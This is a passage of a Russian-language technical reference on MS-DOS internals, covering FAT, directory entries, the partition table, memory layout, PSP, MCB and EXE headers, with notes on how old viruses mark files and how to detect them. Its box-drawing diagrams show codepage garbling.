ИНННЛННН_ ИННННЛНННН_ ИНННЛННН_
є є ИНННН 2-секундные единицы (0-31)
є ИННННННННННННННН минута (0-63)
ИНННННННННННННННННННННННННН час (0-31)
ЦFВEВDВCВBВAВ9Т8Е7В6В5Т4В3В2В1В0·
є год є месяц є день є
УДБДБДБДБДБДБДРДЕДБДБДРДБДБДБДБД_
ИНННННЛННННН_ ИННЛНН_ ИНННЛННН_
є є ИНННН день (0-31)
є ИННННННННННННН месяц (0-15)
ИНННННННННННННННННННННННН год - 1980 (0-127)
Рис.9. Формат полей даты и времени
Следует обратить внимание на то, что несовпадение систем представ-
ления часов, секунд и минут с двоичной системой приводит к наличию неко-
торого запаса в формате поля даты, что позволяет устанавливать аб-
сурдное время типа 31 час 63 минуты 62 секунды. Поскольку ни одна из
стандартных команд MS DOS не выдает количество секунд во времени образо-
вания файла, то значение 62 секунды поля секунд может использоваться
(и используется) вирусами для специальных целей, например для отметки о
том, что данный файл был заражен.
Аналогично может использоваться поле даты. Год создания файла
храниться в IBM PC в виде остатка после вычитания 1980 (даны создания
данного компьютера). Некоторые вирусы используют этот факт для пометки
зараженных файлов: при заражении они добавляют к году создания файла
100. Это приращение не видно невооруженным глазом, поскольку как
команда DIR, так и большинство оболочек выдает только две последние
цифры года. Один из вирусов устанавливает для зараженных файлов 13
месяц.
Пример элемента каталога показан на рис.10.
номер начального кластера
Элемент каталога є
ЦДДДДДДДДДДДДДДДВДДДДДВДВДДДВДДДВДДДВДVДВДДДДДДД·
єE X A M P L E _C O M_a_..._tim_dat_08 _ длина є
УДБДБДБДБДБДБДБДБДБДБДБДБДДДБДБДБДБДБДЧДБДБДБДБД_
є
00 01 02 03 04 05 06 07 є8 09 0A 0B 0C 0D 0E 0F
ЪДДїЪДДїЪДДїЪДДїЪДДїЪДДїЪДДїЪДДїЪVДїЪДДїЪДДїЪДДїЪДДїЪДДїЪДДїЪДДї
00 _ID__FF__03Н>04Н>05Н>FF__00__00__09Н>0AН>0BН>15__00__00__00__00_
АДДЩАДДЩАДДЩАДДЩАДДЩАДДЩАДДЩАДДЩАДДЩАДДЩАДДЩАЧДЩАДДЩАДДЩАДДЩАДДЩ
ЙННННННННННННННННННННННН_
ЪДДїЪДДїЪДДїЪДДїЪДДїЪVДїЪДДїЪДДїЪДДїЪДДїЪДДїЪДДїЪДДїЪДДїЪДДїЪДДї
10 _00__00__00__00__00__16Н>17Н>19__F7__1AН>1BН>FF__00__00__00__00_
АДДЩАДДЩАДДЩАДДЩАДДЩАДДЩАДДЩАЧДЩАДДЩАAДЩАДДЩАДДЩАДДЩАДДЩАДДЩАДДЩ
ИННННННН_
Рис.10. Пример элемента каталога и цепочки элементов FAT
Как видно из рис.10, файл EXAMPLE.COM занимает 10 кластеров.
Первый кластер - это кластер 08, последний кластер - 1B. Цепочка
кластеров - 8, 9,0A,0B,15,16,17,19,1A,1B. Каждый элемент указывает на
следующий элемент цепочки, а последний элемент содержит специальный
код. Кластер 18 поме- чен как плохой и не входит в цепочку
распределения. Кластеры 6,7, 0C-14 и 1C-1F пусты и доступны для
распределения. Еще одна цепочка, возможно, начинается с кластера 2
(при условии, что не показанные на рис.10 элементы каталога равны нулю)
и кончается кластером 5. Чтобы узнать имя соответствующего файла,
нужно отыскать элемент каталога с начальным номером кластера 02.
Как уже отмечалось, кластеры нумеруются, начиная с друх (нулевой элемент
используется для маркировки свободных кластеров, а поле первого кластера
используется для поля Media
Подкаталоги
Подкаталог является обычным файлом со структурой, идентичной струк-
туре корневого каталога. В отличие от корневого каталога, размер которо-
го ограничен 7 секторами, размеры подкаталога не лимитируются. В свою
очередь, подкаталог может содержать подкаталоги.
Каждый подкаталог содержит два элемента, создаваемых MS DOS, кото-
рые обеспечивают координаты данного подкаталога в дереве иерархической
файловой системы. Первым является элемент с именем ., указывающий на
первый кластер в самом подкаталоге, а второй с именем .. указывает на
первый кластер родителя данного каталога. Эти два элемента также имеют
установленный бит 4 байта атрибутов.
Удаление файлов
Когда файл стирается с диска, первая буква его имени заменяется на
Е5 и все элементы FAT, соответствующие занимаемым этим файлом кластерам,
обнуляются. При занесении нового файла в каталог он будет размещен в
первом свободном элементе. Таким образом, простого метода восстановления
удаленных файлов в MS DOS принципиально не существует. В то же время,
поскольку информация в кластерах не уничтожается, принципиально возможно
восстановить файл путем просмотра всех свободных кластеров.
Существуют методы восстановления файлов с помощью системных утилит,
например PCTools, но она правильно восстанавливает лишь те файлы, у ко-
торых номера кластеров в FAT расположены подряд по возрастанию номеров.
PCTools (и аналогичные ей утилиты) фактически читает из каталога бывший
элемент, определяет по длине файла, сколько ему было выделено кластеров
и заполняет FAT. Поэтому для успешного восстановления файла необходимо,
чтобы дискета или винчестер периодически обрабатывались утилитой
SpeedDisk из пакета Нортона, COMPRESS из пакета PC Shell или любой
другой аналогичной утилитой.
Таблица разделов диска - Partition Table
(только для винчестера)
Самый первый сектор твердого диска содержит так называемый Master
Boot Record (MBR). Название главный бутсектор (буквальный перевод
термина Master Boot Record - главная загрузочная запись) связано
с тем, что MBR первым загружается в оперативную память, если загрузка
операционной системы выполняется с винчестера.
MBR состоит из выполняемого кода и таблицы разделов. Последняя
расположена в конце сектора и состоит из четырех 16-байтовых элементов.
Информация в таблицу разделов заносится утилитой FDISK или аналогичной
ей несистемной утилитой. Просматривать таблицу разделов удобнее всего с
помощью Norton Utilities. Во время загрузки ROM-BIOS загружает главную
корневую запись и передает управление на ее код. Этот код считывает
таблицу разделов, чтобы определить раздел, помеченный как загружаемый
(Bootable). Затем в память считывается бутсектор из этого раздела и
ему передается управление. Отсюда следует, что заражая винчестер,
вирус может заменять не только бутсектор, но и таблицу разделов. И
действительно, существует несколько вирусов. использующих этот способ.
0 1 2 3 4 5 6 7 8 9 A B C D E F
ЪДДДДДДДВДДДДДДДВДДДДДДДВДДДДДДДВДДДДДДДВДДДДДДДВДДДДДДДВДДДДДДДВ
00 _ начало кода начальной загрузки MBR
АДДДБДДДЕДДДБДДДЕДДДБДДДЕДДДБДДДЕДДДБДДДЕДДДБДДДЕДДДБДДДЕДДДБДДД_
10
ГДДДБДДДЕДДДБДДДЕДДДБДДДЕДДДБДДДЕДДДБДДДЕДДДБДДДЕДДДБДДДЕДДДБДДД_
. ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ...
ГДДДБДДДЕДДДБДДДЕДДДБДДДЕДДДБДДДЕДДДБДДДЕДДДБДДДЕДДДБДДДТДДДБДДД_
1B0 конец кода начальной загрузки MBR є Первый
ГДДДБДДДЕДДДБДДДЕДДДБДДДЕДДДБДДДЕДДДБДДДЕДДДБДДДЕДДДБДДДЧДДДБДДД_
1C0 раздел винчестера є Второй
ГДДДБДДДЕДДДБДДДЕДДДБДДДЕДДДБДДДЕДДДБДДДЕДДДБДДДЕДДДБДДДЧДДДБДДД_
1D0 раздел винчестера є Третий
ГДДДБДДДЕДДДБДДДЕДДДБДДДЕДДДБДДДЕДДДБДДДЕДДДБДДДЕДДДБДДДОДДДБДДД_
1E0 раздел винчестера є Четвер-
ГДДДБДДДЕДДДБДДДЕДДДБДДДЕДДДБДДДЕДДДБДДДЕДДДБДДДЕДДДБДДДОДДДБДДД_
1F0 тый раздел винчестера є 55 AA_
ГДДДБДДДЕДДДБДДДЕДДДБДДДЕДДДБДДДЕДДДБДДДЕДДДБДДДЕДДДБДДДРДДДБДДДЩ
Рис.11. Структура таблицы разделов винчестера
ЪДДДДДДДВДДДДДДДВДДДДДДДВДДДДДДДВДДДДДДДВДДДДДДДВДДДДДДДТДДДТДДД·
10 єBotєHdSє
ЦДДДБДДДТДДДБДДДТДДДБДДДТДДДБДДДЕДДДБДДДТДДДБДДДЕДДДБДДДЧДДДРДДД_
єSec CylєSys HdEєSec Cylємладш старш ємладш старш є
УДДДБДДДРДДДБДДДРДДДБДДДРДДДБДДДЕДДДБДДДРДДДБДДДЕДДДБДДДРДДДБДДД_
Рис.12. Структура элемента раздела
(поля показаны в тех положениях, в которых они расположены в дампе)
ЪДДДї
+0 1 _Boot Флаг загрузки: 0=не загружаемый, 80h = загружаемый
ГДДДЕ
+1 1 _HdS_ Начало раздела: номер головки
ГДДДЕДДДї
+2 2 _Sec Cyl_ Начало раздела: сектор/цилиндр корневого сектора
ГДДДЕДДДЩ
+4 1 _Sys_ Код системы: 0=неизв., 1=DOS 12-бит FAT, 4=16-бит
ГДДДЕ
+5 1 _HdE_ Конец раздела: номер головки
ГДДДЕДДДї
+6 2 _Sec Cyl_ Конец раздела: сектор/цилиндр последнего сектора
ГДДДБДДДЕДДДВДДДї
+8 4 _ младш старш _ Относительный номер начального сектора
ГДДДБДДДЕДДДБДДД_
+0Ch 4 _ младш старш _ Размер (число секторов)
АДДДБДДДБДДДБДДДЩ
+10h начало следующего элемента раздела (или 0AA55h для послед-
него элемента)
Значения цилиндра и сектора занимают 10 и 6 бит соответственно:
[616]--Значения цилиндра и сектора занимают 10 и 6 бит соответственно:
ЦFВEВDВCВBВAВ9В8Е7В6Т5В4В3В2В1В0·
єc c c c c c c c C Cєs s s s s sє
УДБДБДБДБДБДБДБДЕДБДРДБДБДБДБДБД_
АДВДЩ
АД- биты, обозначенные большими буквами С
являются старшими, т.е. при дешифровке
номера цилиндра они приписываются слева,
а не справа
Значение относительного сектора по смещению 8 в каждом разделе
эквивалентно цилиндру, дорожке и сектору начального адреса раздела. От-
носительный сектор 0 совпадает с цилиндром 0, дорожкой 0, сектором 1.
Относительный номер сектора прирастает сначала по каждому сектору на го-
ловке, затем по каждой дорожке и, наконец, по каждому цилиндру.
Применима формула:
отн_сек = (#Цил * сек_на_дор * дор_на_цил)+(#Гол * сек_на_дор)+(#Сек-1)
Разделы винчестера начинаются с начала четного номера цилиндра, за
исключением первого раздела, который может начинаться с цилиндра 0,
дорожки 0, сектора 2 (поскольку сектор 1 - это главный бутсектор), а
обычно начинается со следующей дорожки, оставляя остальные сектора
нулевой дорожки пустыми. Последнее обстоятельство используется рядом
бутовых вирусов для хранения там своего хвоста, поэтому указанных
секторов рекомендуется периодически просматривать.
ПРИЛОЖЕНИЕ 7
ИСПОЛНЯЕМЫЕ ФАЙЛЫ И СВЯЗАННЫЕ С НИМИ СИСТЕМНЫЕ БЛОКИ
РАСПРЕДЕЛЕНИЕ ОПЕРАТИВНОй ПАМЯТИ В MS DOS
Оперативная память в MS DOS распределяется в соответствии с
приводимой таблицей.
ЪДДДДДДДДДДВДДДДДВДДДВДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДї
_ _ _За-_ _
_ Адрес _Длина_ви-_ _
_ сегмент: _(де- _си-_ Наименование и описание _
_смещение) _сят.)_мо-_ _
_ _ _сть_ _
ЖННННННННННШНННННШНННШНННННННННННННННННННННННННННННННННННННННННННННННч
_0000:0000 _1024 _ - _ Таблица векторов прерываний: _
_ _ _ _ 256 4-байтовых адресов _
ГДДДДДДДДДДЕДДДДДЕДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
_0040:0000 _ 256 _ - _ Область данных ROM-BIOS _
ГДДДДДДДДДДЕДДДДДЕДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
_0050:0000 _ 512 _ - _ Область данных DOS _
ГДДДДДДДДДДЕДДДДДЕДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
_xxxx:0000 _ 8928_Ver_ Код BIOS (считанный из IO.SYS или IBMBIO.COM _
_ _ _ _ на диске загрузки) _
ГДДДДДДДДДДЕДДДДДЕДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
_xxxx:0000 _29920_Ver_Обработчики прерываний DOS, _
_ _ _ _ включая INT 21h (MSDOS.SYS или IBMDOS.COM) _
ГДДДДДДДДДДЕДДДДДЕДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
_xxxx:0000 _ _Con_ DOS: буфера, области данных _
_ _ _ _ и устанавливаемые драйверы _
ГДДДДДДДДДДЕДДДДДЕДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
_xxxx:0000 _ _Ver_ Резидентная порция COMMAND.COM _
_ _ _ _ (стандартный - около 4K длиной) _
_ _ _ _ включает обработчики _
_ _ _ _ INT 22h, INT 23h и INT 24h _
ЖННННННННННШНННННШНННШНННННННННННННННННННННННННННННННННННННННННННННННШННННННННН>
_xxxx:0000 _ _ _ Резидентные программы и данные _ область є
_ _ _ _ (постоянно резидентные утилиты и т.д. _ пользо- є
ГДДДДДДДДДДЕДДДДДЕДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_ вателя є
_xxxx:0000 _ _ _ Текущая выполняемая прикладная _ є
_ _ _ _ программа (.COM или .EXE). _ є
_ _ _ _ Программе в начале выделяется _ є
_ _ _ _ память до 640K (адреса A000:0000) _ є
_ _ _ _ или до максимального для данного _ є
_ _ _ _ компьютера адреса _ є
ГДДДДДДДДДДЕДДДДДЕДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_ є
_xxxx:0000 _ _Con_ Транзитная часть COMMAND.COM (содержит интер-_ є
_ _ _ _ претатор команд, внутренние команды и т.п. _ є
_ _ _ _ Перезагружается, если кто-то перекроет ее. _ є
ЖННННННННННШНННННШНННШНННННННННННННННННННННННННННННННННННННННННННННННШННННННННН_
_A000:0000 _ _ - _ EGA-память для некоторых видео режимов _Граница
ГДДДДДДДДДДЕДДДДДЕДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_640К зоны
_B000:0000 _ _ - _ Видео память монохромного адаптера _
_ _ _ _ и адаптера типа Гекулес (Hercules) _
ГДДДДДДДДДДЕДДДДДЕДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
_B800:0000 _ _ - _ Видео память CGA _
_ _ _ _ (также страница 2 для Hercules) _
ЖННННННННННШНННННШНННШНННННННННННННННННННННННННННННННННННННННННННННННч
_C800:0000 _ _ - _ Внешний код ROM. ROM-BIOS ищет здесь _
_ до _ _ _ (в 2K-блоках) код, выполняемый при загрузке. _
_E000:0000 _ _ _ Этот код обычно инсталлирует обработчик _
_ _ _ _ устройства (дополнит. BIOS винчестера или EGA)_
ГДДДДДДДДДДЕДДДДДЕДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
_E000:0000 _ _ - _ Модули ROM материнской платы _
_ до _ _ _ в блоках по 64K (только AT) _
_E000:FFFF _ _ _ _
ГДДДДДДДДДДЕДДДДДЕДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
_F600:0000 _ _ - _ ROM-резидентный интерпретатор BASIC (для ори- _
_ _ _ _ гинальных IBM/PC), обработчик ошибок при _
_ _ _ _ загрузке для клонов _
ГДДДДДДДДДДЕДДДДДЕДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
_FE00:0000 _ _ - _ ROM-BIOS: POST и код загрузки, _
_ _ _ _ обработчики прерываний и прочее _
ГДДДДДДДДДДЕДДДДДЕДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
_F000:FFF0 _ _ - _ JMP на программу, выполняемую _
_ _ _ _ при включении или сбросе _
ГДДДДДДДДДДЕДДДДДЕДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
_F000:FFF5 _ _ - _ Дата издания BIOS (в ASCII) _
ГДДДДДДДДДДЕДДДДДЕДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
_F000:FFFE _ _ - _ Идентификационный код IBM PC. _
АДДДДДДДДДДБДДДДДБДДДБДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЩ
Примечания:
1. В графе зависимость знак - означает, что приведенные в
предыдущих графах значения постоянны, Ver - зависят от версии MS DOS,
Сon - от содержимого CONFIG.SYS.
2. Приведенные значения соответствуют IO.COM и MSDOS.COM MS DOS
версии 3.3.
BIOS хранит двухбайтовую переменную по адресу 0040:0013, которая
сообщает количество килобайт используемой памяти (обьем системной
памяти). Это значение можно либо посмотреть непосредственно, используя,
скажем утититу LOW или PEPORES (СП 2-8) или получить как часть протокола
некоторых утитит, например SYSMAP. Для большинства машин это 640(280h)
или 512 (200h). Бутовые вирусы обычно уменьшают это значение при своей
инсталляции, откусывая необходимое им число килобайт. Таким образом
обьем системной памяти уменьшается и это уменьшение является
свидетельством того, что что то не так. Прерывание 12h BIOS проверяет
установку переключателей на системной плате и возвращает в регистр AX
обьем установленной системной памяти в килобайтах. Его можно вызвать из
любого отладчика, например DEBUG.
Память свыше 1 мегабайта доступна на компьютерах класса AT через
функцию BIOS INT 15h, и в основном используется DOS для операций
с виртуальными дисками.
ПРЕФИКС ПРОГРАММНОГО СЕГМЕНТА (PSP)
Когда программа начинает выполнение, DS:0000 и ES:0000 указывают на
начало PSP этой программы. Информация PSP позволяет выделить имена
файлов и опции из строки команд, узнать объем доступной памяти,
определить окружение и т.д.
0 1 2 3 4 5 6 7 8 9 A B C D E F
ЪДДДДДДДТДДДДДДДТДДДТДДДВДДДДДДДВДДДДДДДТДДДДДДДВДДДДДДДТДДДДДДДї
00 _INT 20hєMemTop єRsvєCALL смещ. сегментєАд.зaв (int22)єCtrl-
ГДДДБДДДЧДДДБДДДРДДДРДДДТДДДБДДДЕДДДБДДДЧДДДБДДДЕДДДБДДДЧДДДБДДД_
10 Break. єCritical Error є Резервная область DOS
ГДДДЕДДДРДДДЕДДДЕДДДЕДДДРДДДЕДДДЕДДДЕДДДРДДДЕДДДТДДДЕДДДЧДДДЕДДД_
20 Резервная область DOS Резервная область DOS єEnvSeg є Резер-
ГДДДБДДДЕДДДБДДДЕДДДБДДДЕДДДБДДДЕДДДБДДДЕДДДБДДДРДДДБДДДРДДДБДДД_
30 вная область DOS Резервная область DOS Резервная область DOS
ГДДДБДДДЕДДДБДДДЕДДДБДДДЕДДДБДДДЕДДДБДДДЕДДДБДДДЕДДДБДДДЕДДДБДДД_
40 Резервная область DOS (продолжение)
ГДДДБДДДЕДДДБДДДЕДДДБДДДЕДДДБДДДЕДДДБДДДЕДДДБДДДТДДДБДДДЕДДДБДДД_
50 Резервная область DOS (окончание) є Форматирован-
ГДДДБДДДЕДДДБДДДЕДДДБДДДЕДДДБДДДЕДДДБДДДЕДДДБДДДЧДДДБДДДЕДДДБДДД_
60 ная область параметра 1 є Форматирован-
ГДДДБДДДЕДДДБДДДЕДДДБДДДЕДДДБДДДЕДДДБДДДЕДДДБДДДРДДДБДДДЕДДДБДДД·
70 ная область параметра 2 є
ЦДДДТДДДЕДДДБДДДЕДДДБДДДЕДДДБДДДЕДДДБДДДЕДДДБДДДЕДДДБДДДЕДДДБДДД_
80 єlenє неформатированная область параметров (символы из командной
УДДДРДДДЕДДДБДДДЕДДДБДДДЕДДДБДДДЕДДДБДДДЕДДДБДДДЕДДДБДДДЕДДДБДДД_
90 строки DOS )
ГДДДБДДДЕДДДБДДДЕДДДБДДДЕДДДБДДДЕДДДБДДДЕДДДБДДДЕДДДБДДДЕДДДБДДД_
... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ...
ЦДДДБДДДЕДДДБДДДЕДДДБДДДЕДДДБДДДЕДДДБДДДЕДДДБДДДЕДДДБДДДЕДДДБДДД_
100 є начало кода для COM или EXE-файла
УДДДБДДДЕДДДБДДДЕДДДБДДДЕДДДБДДДЕДДДБДДДЕДДДБДДДЕДДДБДДДЕДДДБДДД_
Рис.9. Структура префикса программного сегмента
Первым полем префикса программного сегмента (рис.9) является
команда INT 20h [0;2] - программы могут выполнять на нее переход с
помощью JMP или RET для выхода. Поле MemTop содержит адрес вершины
доступной памяти системы в параграфах[+2;2]; Далее один байт
резервируется - поле Rsv[+4;1]. Следующее поле[5;5] содержит команду
длинного перехода(FAR CALL) к диспетчеру функций DOS. Поле Avail [6;2]
содержит доступные байты в программном сегменте (только для файла
COM). Далее следуют три четырехбайтовых поля имеющие формат <смещ.>
<сегмент> и содержащие соответственно адрес завершения(см. INT
22h)[+0Ah;4], адрес обработки Ctrl-Break(см. INT 23h)[+0h;4] и
обработчик критических ошибок (см. INT 24h)[+12h;4]; За ними идет
резервная область DOS [+16h;16h-2B]. Поле EnvSeg[+2Ch;2] содержит
сегментный адрес окружения DOS. Далее следует еще одна резервная
область DOS [+2Eh;2Eh-5B]; Форматированная область первого параметра
[+5Ch;10h] содержит FCB для 1-го параметра. Аналогично форматированная
область второго параметра [+6Ch;14h] содержит FCB для 2-го параметра.
Поле Len [+80h;1] содержит длину области UPA (с адреса 81h) также
смещение умалчиваемой DTA. За полем Len расположена неформатированная
область параметров содержит символы, полученные из командной строки
DOS[+81h;7Fh]; (кроме директив переназначения).
Начало кода для COM или EXE-файла, загруженных в оперативную память
находится по смещению 100h. Отметим, что при загрузке заголовок
EXE-файла загружается отдельно и в памяти файл типа EXE начинается с
байтов, непосредственно следующих за заголовком.
БЛОК УПРАВЛЕНИЯ ПАМЯТЬЮ (MCB)
Это управляющий блок, используемый DOS при распределении,
модификации и освобождении блоков системной памяти. Анализ цепочки этих
блоков позволяет, в частности, получить сведения об имеющихся
резидентных программах.
0 1 2 3 4 5 6 7 8 9 A B C D E F
ЦДДДТДДДВДДДТДДДВДДДТДДДВДДДДДДДВДДДДДДДВДДДДДДДВДДДДДДДВДДДДДДДї
10 єТипєВл-лец єРазмер є зарезервировано зарезервировано _
ЗДДДРДДДЕДДДРДДДЕДДДРДДДЕДДДБДДДЕДДДБДДДЕДДДБДДДЕДДДБДДДЕДДДБДДД_
20 є Начало блока памяти (для блока с загруженной программой - PSP)
УДДДБДДДЕДДДБДДДЕДДДБДДДЕДДДБДДДЕДДДБДДДЕДДДБДДДЕДДДБДДДЕДДДБДДДЕ
Рис.10. Структура блока управления памятью
Блоки управления памятью всегда выравнены на границу параграфа
(сегмент блока). Поле тип - может принимать два значения 'M'(4Dh),
если за этим блоком есть еще блоки и 'Z'(5Ah), если данный блок
является последним; поле Владелец(соответствующая графа обычно
обозначается Parent, Owner) содержит параграф владельца (для FreeMem).
Если 0, то владельцем является сам данный блок; поле Размер(Size)
содержит число параграфов в этом блоке. Блок памяти - начало
информации, расположенной в данном блоке. Общий обьем этой информации
равен (Размер*10h) байт. Сегментный адрес начала блока памяти
возвращает функция 48h AllocMem. Для блока M-типа следующий блок
находится по адресу (сегмент_блока+Размер):0000, а для блока Z-типа
выражение (сегмент_блока+Размер):0000 всегда указывает на конец
оперативной памяти (для систем с 640K это адрес: a000:0000h). После
функции 4Bh Exec, Z-блок начинается с (PSP-1):0000 нового процесса
В списке резидентных резидентных программ могут оказаться и
простые резидентные вирусы, хотя более сложные резидентные вирусы
маскируются таким образом, чтобы обойти данную возможность обнаружения.
Список MCB можно получить с помощью специальных утилит ( например
SYSMAP, MEMANAL, RELEASE и др.). Эти утилиты отличаются удобством и
степенью подробности выдаваемой информации. Ниже приведен протол,
выдаваемые утилитой SYSMAP.
PC SYSTEM MAP V3.00 Video Trends Software 1989
ДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД
Segment Size Program Parent Cooked Vectors
0000 001,024 INTERRUPT VECTOR TABLE
0040 000,256 BIOS DATA AREA
0050 000,512 DOS COMMUNICATION AREA 1E
0070 008,928 IO.SYS BOOT RECORD 01 03 04 0F 13 1B 29 EF F3 F7 FA
029E 029,920 MSDOS.SYS IO.SYS 20 26 2A 2B 2C 2D 31 32 34 35 36 37
38 39 3A 3B 3C 3D 3E 3F
09ED 012,784 EMMXXXX0 IO.SYS 67 F6
0D0C 000,112 PCKXXXX0 IO.SYS 25
0D13 000,768 1 units IO.SYS 19
0D43 000,928 4DOSSTAK IO.SYS
0D7D 001,072 HANDLE TABLE IO.SYS
0DC0 000,224 FCBs TABLE IO.SYS
0DCE 020,592 DOS BUFFERS IO.SYS EE FF
12D5 000,576 DRIVE TABLES IO.SYS
12F9 003,824 DOS STACKS IO.SYS 02 0E 70 76
13E9 002,992 COMMAND.COM COMMAND.COM 2E
14A5 000,512 COMMAND.COM ENVIRONMENT
14C6 000,080 RELEASE.COM ENVIRONMENT
14CC 003,488 RELEASE.COM COMMAND.COM 21 27
15A7 000,128 MOUSE.COM ENVIRONMENT
15A7 000,128 MOUSE.COM ENVIRONMENT
15B0 010,048 MOUSE.COM COMMAND.COM 0A 33
1825 000,128 CPANEL.COM ENVIRONMENT
182E 032,928 CPANEL.COM COMMAND.COM
2039 000,128 UNIEGA.COM ENVIRONMENT
2042 006,480 UNIEGA.COM COMMAND.COM 10 1F 44
21D8 000,128 UNIKBD.COM ENVIRONMENT
21E1 000,848 UNIKBD.COM COMMAND.COM 16
2217 000,128 NC.EXE ENVIRONMENT
2220 012,896 NC.EXE COMMAND.COM
2547 000,128 COMMAND.COM ENVIRONMENT
2550 000,512 COMMAND.COM ENVIRONMENT
2571 000,144 PCMAP1.EXE ENVIRONMENT
257B 002,736 FREE UNKNOWN
2627 000,128 TXTSCR.COM ENVIRONMENT
2630 000,976 TXTSCR.COM UNKNOWN 08 09 28
266E 002,896 COMMAND.COM COMMAND.COM 00 22 23 24 2F
2724 025,120 PCMAP1.EXE COMMAND.COM
Dos Memory: 655,360 bytes
Block Memory: 655,360 bytes
Free Memory: 469,920 bytes
Как видно из приведенной карты, обычно в MS DOS используется порядка
десятка резидентных программ различного назначения и выявить лишнюю
даже если она видна, не так просто. Поэтому желательно иметь распечатку
эталонной карты памяти с которой можно сравнить имеющуются.
ФОРМАТ ИСПОЛНЯЕМЫХ ПРОГРАММ В MS DOS
В MS DOS имеются два основных формата исполняемых программ: СOM и
EXE. Файл COM-формата - это двоичный образ кода и данных программы.
Такой файл должен занимать менее 64K. Файл EXE-формата содержит
специальный заголовок, при помощи которого загрузчик выполняет настройку
ссылок на сегменты в загруженном модуле.
Ввиду сегментации адресного пространства процессора 8088/86/286 и
того факта, что переходы (JMP) и вызовы (CALL) используют относительную
адресацию, оба типа программ (EXE и COM) могут выполняться в любом месте
памяти. Программы обычно не пишутся в предположении, что они будут
загружаться с определенного адреса (за исключением некоторых
самозагружающихся, защищенных от копирования игровых программ).
Программы типа EXE могут состоять из нескольких сегментов и могут
выполняться любом месте памяти только потому, что DOS настраивает
сегментные адреса при загрузке.
COM-программы
COM-программы содержат единственный сегмент (или, во всяком случае,
не содержат явных ссылок на другие сегменты). Образ COM-файла
считывается с диска и помещается в память, начиная с PSP:0100.
COM-программы обычно используются для небольших утилит. Они быстрее
загружаются, ибо не требуется настройки сегментов, и занимают меньше
места на диске, поскольку заголовок EXE и сегмент стека отсутствуют в
загрузочном модуле.
После загрузки СОM-файла:
1. CS, DS, ES и SS указывают на PSP;
2. SP указывает на конец сегмента PSP (обычно 0FFFEh, но может быть
и меньше, если полный 64K сегмент недоступен, например при работе
отладчика). Слово по смещению 06h в PSP указывает, какая часть
программного сегмента доступна;
3. вся память системы за программным сегментом распределена программе;
4. слово 00h помещено (PUSH) в стек;
5. IP содержит 100h (первый байт модуля) в результате команды JMP PSP:100
EXE-программы
EXE-программы содержат несколько программных сегментов, включая
сегмент кода, данных и стека. EXE-файл загружается, начиная с адреса
PSP:0100. В процессе загрузки считывается информация заголовка EXE в
начале файла и выполняется перемещение адресов сегментов.
После перемещения управление передается загрузочному модулю
посредством инструкции далекого перехода (FAR JMP) к адресу CS:IP,
извлеченному из заголовка EXE.
В момент получения управления программой EXE-формата:
1. DS и ES указывают на PSP;
2. CS, IP, SS и SP инициализированы значениями, указанными в
заголовке EXE;
3. поле PSP MemTop содержит значение, указанное в заголовке EXE.
Обычно вся доступная память распределена программе.
0 1 2 3 4 5 6 7 8 9 A B C D E F
ЪДДДДДДДТДДДДДДДТДДДДДДДТДДДДДДДТДДДДДДДТДДДДДДДТДДДДДДДТДДДДДДДї
00 _ Sign єPartPagєPageCntєReloCntєHdrSizeєMinMem єMaxMem єReloSS _
ГДДДБДДДЧДДДБДДДЧДДДБДДДЧДДДБДДДЧДДДБДДДЧДДДБДДДЧДДДБДДДРДДДБДДД_
10 _ExeSP єChkSum єExeIP єReloCS єTablOffєOverlayє Rel.Table El _
ГДДДБДДДРДДДБДДДЧДДДБДДДРДДДБДДДЧДДДБДДДРДДДБДДДЧДДДБДДДДДДДБДДД_
20 _смещ. сегмент є смещ. сегментє ... ... є ... ... _
АДДДБДДДЕДДДБДДДРДДДБДДДЕДДДБДДДРДДДБДДДЕДДДБДДДРДДДБДДДЕДДДБДДДЩ
30
ГДДДБДДДЕДДДБДДДЕДДДБДДДЕДДДБДДДЕДДДБДДДЕДДДБДДДЕДДДБДДДЕДДДБДДД_
... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ...
ГДДДБДДДЕДДДБДДДЕДДДБДДДЕДДДБДДДЕДДДБДДДЕДДДБДДДЕДДДБДДДЕДДДБДДД_
1F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
ГДДДБДДДЕДДДБДДДЕДДДБДДДЕДДДБДДДЕДДДБДДДЕДДДБДДДЕДДДБДДДЕДДДБДДД_
200 начало кода EXE-программы
